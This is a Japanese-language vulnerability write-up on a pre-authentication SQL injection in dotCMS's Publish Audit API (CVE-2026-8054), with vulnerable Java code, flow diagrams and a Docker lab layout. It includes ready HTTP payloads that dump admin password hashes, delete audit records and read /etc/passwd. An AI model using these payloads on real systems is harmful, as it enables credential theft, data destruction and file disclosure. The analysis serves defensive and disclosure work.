
dotCMS 事前認証SQLインジェクション
CVE-2026-8054 は、dotCMS Core の Publish Audit API に存在する重要度高のPre-auth SQLインジェクション脆弱性(Pre-auth SQL Injection)です。本脆弱性は公式にセキュリティインシデント SI-75 として追跡され、2026年5月末に正式に公開されました。攻撃者はアカウント権限を一切必要とせずにリモートから攻撃可能であり、潜在的な被害は非常に深刻です。
| 属性 | 値 |
|---|---|
| CVE番号 | CVE-2026-8054 |
| 公式追跡 | SI-75 |
| 脆弱性タイプ | SQLインジェクション (CWE-89) |
| 影響コンポーネント | dotCMS Core - Publish Audit API |
| CVSSスコア | 10.0 (Critical) |
| 影響を受けるバージョン | 25.11.04-1 ~ 26.04.28-02 |
| 修正バージョン | 26.04.28-03 |
| 攻撃方法 | リモート未認証SQLインジェクション (Pre-auth) |
| 必要な権限 | 認証不要 |
| ユーザ操作 | 不要 |
| LTSへの影響 | 影響なし(監査コードブランチはLTSツリーにバックポートされていない) |
脆弱性は /api/auditPublishing/get および /api/auditPublishing/getAll の2つのRESTエンドポイントに存在します。これらのエンドポイントはクライアントからのリクエストパラメータを受け取る際、フィルタリングやパラメータバインドを一切行わず、単純な文字列連結により動的にSQLクエリを構築します。
さらに致命的なのは、dotCMSがこれらの監査関連の内部APIに対して認証と権限チェックを完全に欠いている点です。つまり、外部ネットワークから資格情報を持たないリモート攻撃者が、システムにネットワークアクセスできれば、悪意のあるペイロードを含むHTTPリクエストを直接送信できるようになります。
ファイルパス: dotCMS/src/main/java/com/dotcms/rest/AuditPublishingResource.java
脆弱性は2つのREST APIエンドポイントに存在します:
GET /api/auditPublishing/get/{bundleId} - 単一のパブリッシュ監査ステータスを取得POST /api/auditPublishing/getAll - 複数のパブリッシュ監査ステータスを一括取得主要な問題: 修正前、これらのエンドポイントは認証を一切必要とせず、匿名ユーザでも直接アクセス可能でした。
@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {
@POST
@Path("/getAll")
@Produces(MediaType.APPLICATION_JSON)
public Response getAll(List<String> bundleIds) {
// 【脆弱性ポイント】認証チェックなし!直接バックエンドAPIを呼び出す
try {
final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
// ...
}
}
}
ファイルパス: dotCMS/src/main/java/com/dotcms/publisher/business/PublishAuditAPIImpl.java
メソッド: getPublishAuditStatuses(List<String> bundleIds) (第224-245行)
@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
throws DotPublisherException {
try {
final List<PublishAuditStatus> result = new ArrayList<>();
DotConnect dc = new DotConnect();
// 【脆弱性ポイント1】ユーザ入力を直接SQL文に連結
// シングルクォートで囲むだけで、パラメータ化やエスケープ処理は一切なし
final List<String> parameter = bundleIds.stream()
.map(id -> "'" + id + "'") // 危険: 文字列連結
.collect(Collectors.toList());
// 【脆弱性ポイント2】String.formatでSQLを構築、ユーザ入力が直接埋め込まれる
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
String.join(",", parameter)));
List<Map<String, Object>> items = dc.loadObjectResults();
for(Map<String, Object> item: items) {
result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
}
return result;
} catch(Exception e) {
Logger.debug(PublisherUtil.class, e.getMessage(), e);
throw new DotPublisherException("Unable to get list of elements with error:" + e.getMessage(), e);
}
}
SQL定数 (SELECT_ALL_BY_BUNDLES_IDS):
SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)
graph LR
subgraph 外部攻撃者
A[リモート攻撃者] -->|悪意のあるペイロード送信| B[HTTP REST API]
end
subgraph アプリケーション層
B -->|POST /api/auditPublishing/getAll| C[AuditPublishingResource<br/>GET/POST]
C -->|呼び出し| D[PublishAuditAPI]
D -->|呼び出し| E[PublishAuditAPIImpl]
E -->|bundleIdsを渡す| F[汚染処理<br/>bundleIds.stream<br/>.map id -> id]
F -->|パラメータ連結| G[SQL構築<br/>String.format]
end
subgraph 技術層
G -->|SQL構築| H[動的SQLクエリ<br/>SELECT * FROM publishing_queue_audit<br/>WHERE bundle_id IN %s]
H -->|実行| I[SQL実行]
I -->|注入SQL実行| J[PostgreSQL/MySQL]
end
subgraph 脆弱性ポイント
K[脆弱性ポイント1<br/>認証チェックなし] -.->|認証バイパス| C
L[脆弱性ポイント2<br/>パラメータバインドなし] -.->|単にクォートを追加| F
end
style A fill:#ff6b6b,stroke:#333,color:#fff
style K fill:#ff6b6b,stroke:#333,color:#fff
style L fill:#ff6b6b,stroke:#333,color:#fff
style J fill:#ffa94d,stroke:#333
汚染伝播: ユーザ入力 → REST API → バックエンド処理 → SQL構築 → データベース実行 主要な欠陥: 認証なし + パラメータ化なし = 完全に制御可能なSQLインジェクション
ユーザ入力が bundleIds = ["x' OR '1'='1"] の場合を想定
正常なSQL:
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')
インジェクション後のSQL:
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')
'1'='1' は常に真となるため、このクエリはテーブル内の全レコードを返します。
graph TD
subgraph 入力比較
A[正常入力<br/>bundle-123] -->|構築| B[正常なSQL<br/>WHERE bundle_id IN<br/>'bundle-123']
C[悪意のある入力<br/>x OR 1=1] -->|インジェクション| D[注入SQL<br/>WHERE bundle_id IN<br/>x OR 1=1]
end
subgraph データベース実行
B -->|実行| E[データベース]
D -->|実行| E
end
subgraph 結果比較
E -->|返却| F[正常結果<br/>1レコード]
E -->|返却 データ漏洩| G[漏洩結果<br/>全レコード]
end
style C fill:#ff6b6b,stroke:#333,color:#fff
style G fill:#ff6b6b,stroke:#333,color:#fff
style D fill:#ff6b6b,stroke:#333,color:#fff
note1[注入点: シングルクォートで元の文字列を閉じる<br/>OR 1=1 で条件を常に真に<br/>結果: 全レコードを返す]
本脆弱性を悪用された攻撃者は、データベースシステムユーザのコンテキストで任意のSQLコマンドを実行可能となり、以下のような重大な結果を引き起こします。
graph TD
subgraph 攻撃影響分析
subgraph データ機密性
A[管理者パスワードハッシュ]
B[ユーザ資格情報]
C[リセットトークン]
D[システム設定]
end
subgraph データ整合性
E[サイトコンテンツ]
F[ユーザロール権限]
G[監査ログ]
end
subgraph システム可用性
H[DROP TABLE]
I[DELETEデータ]
J[UPDATEデータ]
end
subgraph 権限昇格
K[管理者乗っ取り]
L[ファイルシステム読み書き]
M[リモートコード実行]
end
end
N[SQLインジェクション脆弱性] -->|漏洩| A
N -->|漏洩| B
N -->|漏洩| C
N -->|改ざん| E
N -->|改ざん| F
N -->|実行| H
N -->|実現| K
N -->|実現| L
O[CVSS 10.0 Critical] -.->|評価| N
style N fill:#ff6b6b,stroke:#333,color:#fff
style O fill:#ff6b6b,stroke:#333,color:#fff
攻撃者はSQLインジェクションによりコアデータベーステーブルを抜き出し、以下を取得可能:
攻撃ペイロード例 - 管理者パスワード取得:
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json
["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]
攻撃者はデータベース内の以下のデータを任意に変更、挿入、削除可能:
攻撃ペイロード例 - 監査レコード削除:
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json
["x'; DELETE FROM publishing_queue_audit; --"]
バックエンドのデータベースタイプ(PostgreSQL、MySQL等)や設定権限に応じて、攻撃者は注入ポイントを通じて以下を実現する可能性があります:
攻撃ペイロード例 - PostgreSQLファイル読み取り:
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json
["x' UNION SELECT null,pg_read_file('/etc/passwd'),null,null,null--"]
| 次元 | 評価 |
|---|---|
| 攻撃ベクトル | ネットワークリモート (Network) |
| 攻撃複雑性 | 低 (Low) |
| 前提条件 | なし (None) |
| ユーザ操作 | 不要 (None) |
| 影響範囲 | 変更あり (Changed) |
| 機密性への影響 | 高 (High) |
| 整合性への影響 | 高 (High) |
| 可用性への影響 | 高 (High) |
graph TB
subgraph Docker環境アーキテクチャ
subgraph docker-compose
A[dotcms-vuln<br/>dotcms:25.11.04-1]
B[dotcms-db<br/>postgres:15]
C[dotcms-es<br/>elasticsearch:7.17]
end
D[dotcms-net<br/>bridgeネットワーク]
E[HTTP :8080]
F[HTTPS :8443]
G[PostgreSQL :5432]
H[Elasticsearch :9200]
end
A -->|公開| E
A -->|公開| F
B -->|公開| G
C -->|公開| H
A -->|データベース接続| B
A -->|検索エンジン接続| C
D --- A
D --- B
D --- C
style A fill:#51cf66,stroke:#333
style B fill:#51cf66,stroke:#333
style C fill:#51cf66,stroke:#333